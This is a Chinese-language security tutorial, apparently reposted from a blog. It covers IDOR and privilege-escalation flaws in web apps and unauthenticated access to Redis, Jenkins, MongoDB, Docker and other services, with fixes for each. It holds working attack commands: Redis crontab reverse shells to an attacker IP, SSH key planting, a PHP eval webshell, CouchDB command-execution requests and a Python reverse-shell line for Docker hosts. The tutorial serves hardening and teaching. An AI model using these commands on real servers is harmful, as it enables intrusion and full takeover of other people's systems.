访问控制

访问控制是什么:

访问控制(授权)是对谁(什么)可以执行尝试的操作或访问他们所请求的资源的约束条件的应用,在Web应用程序和用户的交互过程中,访问控制取决于身份验证和会话管理:

• 身份验证可以识别用户并确认他们就是他们所说的身份
• 会话管理标识该同一用户正在发出哪些后续HTTP请求
  访问控制确定是否用户执行他们尝试执行的操作

访问控制权限漏洞类型:

• 垂直越权
• 水平越权

漏洞形成原因:

当Web应用程序需要请求获取数据或者进行某项操作的时候,没有对用户的请求进行访问控制,或者是没有对用户的操作进行权限鉴定

• 如A用户请求获取他的个人信息,但是A用户通过修改请求信息,就可以获取其他人的个人信息,那么这个就是访问控制漏洞,术语访问控制漏洞中的越权漏洞

垂直越权:

• 如果Web应用程序不对敏感功能进行访问控制,就会出现垂直越权(简单的说,就是下级访问上级的权限)

如,普通用户可能直接通过浏览到相关的管理URL就能访问管理员用户页面

例:
可能直接通过访问http://127.0.0.1/admin来访问管理员页面

水平越权:

• 当用户能够访问属于另一个用户的数据而不是他们自己的数据时,就会出现水平越权

如,用户A不仅能看到自己的个人资料,还可以看到其他用户个人资料,这就是水平越权

例:
用户通常可以使用如下网址来访问自己的账户页面http://127.0.0.1/mymoney?id=1如果将参数修改为另一个用户的参数值,则攻击者可能会访问具有相关数据和功能的另一个用户账户页面

未授权漏洞总结(WEB)

基于用户ID的越权:

https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001

我们登陆某个系统后,看到某些功能上获取信息的方式类似于以上链接时,可以初步判断获取信息的方式为根据user_id来获对应的用户信息,如果参数为用户名,我们可以收集用户名字典来枚举信息,根据返回值判断是否存在问题.

基于功能对象ID的越权:

https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab

此问题大量存在于用户订单,购买,查询等功能的商家CMS上

例如以上地址,如果user_order是订单编号,那么我们可以尝试遍历订单地址来查询是否存在越权.如果编号并不是单纯的订单数字串,而是类似如上的编码字符串,相信自己的运气的话可以尝试某些编码的情况,例如BASE64,MD5.

基于上传文件对象ID的越权:

https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg

这种上传文件后,可以越权查看其他用户的上传文件也是经常发现类似的问题

假设,系统要求我们上传个人的身份证,实名认证信息,购买的发票订单等.如果上传后看到类似如上地址,可以猜测此上传文件可以遍历获取,通过查询fileid来查看其他用户的上传信息

如果上传后文件名如第二种,可能此文件是系统经过重命名的,重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段,这种情况下枚举较为困难,但仍然可以采用注册新用户的方式来查看是否存在越权

基于未授权访问的越权:

https://www.xxx.com/user1/user.php?user=user1@user.com

在一些系统上登陆用户后,可以看到类似如上的地址链接,可能你会觉得这个跟问题1类似,但是也有可能多一种问题情况

在非登陆的情况下仍然可以访问到详细信息.如果可以,则证明后端对身份的效验只是基于参数user,并没有效验用户的session是否已登陆

基于功能地址的越权:

https://www.xxx.com/user/getuserinfo.php

如上地址,正常情况下,只访问此后台地址时,一般会跳转到登陆地址,或者登陆后用来查看某个具体的功能,获取数据的情况根据访问的链接地址来,理论上此功能并不存在越权可能,因为没有我们可以修改的参数.但是对权限及功能的限制可能只局限于用户菜单的限制,根据常用链接,可以猜测是否存在以下地址:

/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php

因为在绝大部分系统中,开发为了方便区别功能和页面,通常会利用对应的英文来命名文件,但这些文件并不是任意用户都可以访问到的,所以可以猜测访问地址是否英文的拼接来猜测路径.对于此问题的快捷测试是获取一个高权限账号,当然对于未授权测试来说,很难实现

基于接口身份的越权:

https://www.xxx.com/user/userinfo.php
post: {‘userid‘:‘10001‘,‘username‘:‘name‘,‘userage‘:‘18‘,‘usermobile‘:‘18080808888‘}

例如如上接口,修改用户信息,当我们点击某个系统的修改自身资料时,会发送一个类似的json数据包,其中userid对应我们自己的用户id,修改后,可以修改对应id的用户资料,修改方式类似问题1,区别在于一个页面可见,一个页面不直观可见,一个查询,一个修改.需要配合其他越权查询漏洞,或者账号来识别是否修改成功

未授权漏洞总结(Service)

Redis未授权访问

Redis因配置不当导致未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行，可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。

漏洞利用

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

1. 先在自己的服务器上监听一个端口

nc -lvnp 4444

2. 然后执行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写ssh-keygen公钥登录服务器

在以下条件下，可以利用此方法

1. Redis服务使用root账号启动
2. 服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。

1. 事先先准备好自己的公钥，写入一个本地文件foo.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

2. 通过redis将该文件写入内存
$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK

4.然后就可以通过自己的私钥登陆服务器

获取web服务的webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST[‘caidao‘]);?>"
sav

漏洞修复

在安装目录下配置redis.conf文件

1. 默认只对本地开放
   bind 127.0.0.1
2. 添加登陆密码
   requirepass www.secpulse.com
3. 在需要对外开放的时候修改默认端口
   port 2333
4. 最后还可以配合iptables限制开放

Jenkins未授权访问

默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

漏洞利用

Jenkins未授权访问可执行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script

Jenkins未授权访问写shell

漏洞修复

1. 禁止把Jenkins直接暴露在公网
2. 添加认证，设置强密码复杂度及账号锁定。

MongoDB未授权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

漏洞利用

MongoDB默认端口27017，当配置成无验证时，存在未授权访问，使用msf中的scanner/mongodb/mongodb_login模块进行测试，使用navicat连接获取数据库中的内容。

漏洞修复

1、为MongoDB添加认证：

1)MongoDB启动时添加--auth参数

2)给MongoDB添加用户：
use admin #使用admin库
db.addUser("root", "123456") 添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功，返回1说明成功

2、禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false

3、限制绑定IP

启动时加入参数
--bind_ip 127.0.0.1

或在/etc/mongodb.conf文件中添加以下内容：
bind_ip = 127.0.0.1

ZooKeeper未授权访问

Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用Zookeeper，通过服务器收集敏感信息或者在Zookeeper集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令。

漏洞利用

远程获取该服务器的环境：

echo envi | nc ip port

直接连接

./zkCli.sh -server ip:port

漏洞修复

1. 禁止把Zookeeper直接暴露在公网
2. 添加访问控制，根据情况选择对应方式（认证用户，用户名密码）
3. 绑定指定IP访问

Elasticsearch未授权访问

Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析，启动此服务默认会开放9200端口，可被非法操作数据

漏洞利用

访问地址，可以调用api，进行数据的增删改操作。

http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

漏洞修复

1. 防火墙上设置禁止外网访问9200端口。
2. 使用Nginx搭建反向代理，通过配置Nginx实现对Elasticsearch的认证
3. 限制IP访问，绑定固定IP
4. 在config/elasticsearch.yml中为9200端口设置认证：

http.basic.enabled true #开关，开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

Memcache未授权访问

Memcached是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。

漏洞利用

1. 登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听，存在memcached未授权访问漏洞。
2. telnet 11211，或nc -vv 11211，提示连接成功表示漏洞存在

漏洞修复

1. 设置memchached只允许本地访问
2. 禁止外网访问Memcached 11211端口
3. 编译时加上–enable-sasl，启用SASL认证

Hadoop未授权访问

由于服务器直接在开放了Hadoop机器HDFS的50070 web端口及部分默认服务端口，黑客可以通过命令行操作多个目录下的数据，如进行删除，下载，目录浏览甚至命令执行等操作，产生极大的危害。

漏洞利用

主要HDFS和MapReduce的WebUI对应的服务端口。

其中比较重要的是DataNode 默认端口50075开放的话，攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

漏洞修复

1. 如无必要，关闭Hadoop Web管理页面
2. 开启身份验证，防止未经授权用户访问
3. 设置“安全组”访问控制策略，将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口

CouchDB未授权访问

CouchDB默认在5984端口开放Restful的API接口，用于数据库的管理功能。其HTTP Server默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过API访问导致未授权访问。任何连接到服务器端口上的人，都可以调用相关API对服务器上的数据进行任意的增删改查，其中通过API修改local.ini配置文件，可进一步导致执行任意系统命令，获取服务器权限！

漏洞利用

新增query_server配置，执行ifconfig命令

curl -X PUT ‘http://x.x.x.x:5984/_config/query_servers/cmd‘ -d ‘"/sbin/ifconfig >/tmp/6666"‘

新建一个临时表，插入一条记录

curl -X PUT ‘http://x.x.x.x:5984/vultest‘
curl -X PUT ‘http://x.x.x.x:5984/vultest/vul‘ -d ‘{"_id":"770895a97726d5ca6d70a22173005c7b"}‘

调用query_server处理数据

curl -X POST ‘http://x.x.x.x:5984/vultest/_temp_view?limit=11‘ -d ‘{"language":"cmd","map":""}‘ -H ‘Content-Type: application/json‘

漏洞修复

1. 指定CouchDB绑定的IP （需要重启CouchDB才能生效）

在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ，把 0.0.0.0 修改为 127.0.0.1 ，然后保存。
注：修改后只有本机才能访问CouchDB。

2. 设置访问密码 （需要重启CouchDB才能生效）

在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码

Docker未授权访问

Docker Remote API是一个取代远程命令行界面（rcli）的REST API。通过 docker client 或者 http直接请求就可以访问这个API，通过这个接口，我们可以新建 container，删除已有container，甚至是获取宿主机的 shell

漏洞利用

获取到所有的 images 列表

http://host:2375/containers/json

1. 启动一个容器，挂载宿主机的/root/目录，之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中，之后就可以用root账户直接登录了
2. 启动一个容器，挂载宿主机的/etc/目录，之后将反弹shell的脚本写入到/etc/crontab中，攻击者会得到一个反弹的shell，其中反弹shell脚本的样例如下：

echo -e "*/1 * * * * root /usr/bin/python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);‘\n" >> /etc/crontab

漏洞修复

1.在不必需的情况下，不要启用docker的remote api服务，如果必须使用的话，可以采用如下的加固方式：

• 置ACL，仅允许信任的来源IP连接；
• 设置TLS认证，官方的文档为Protect the Docker daemon socket

2. 客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

访问控制

原文：https://www.cnblogs.com/Frieza/p/14596455.html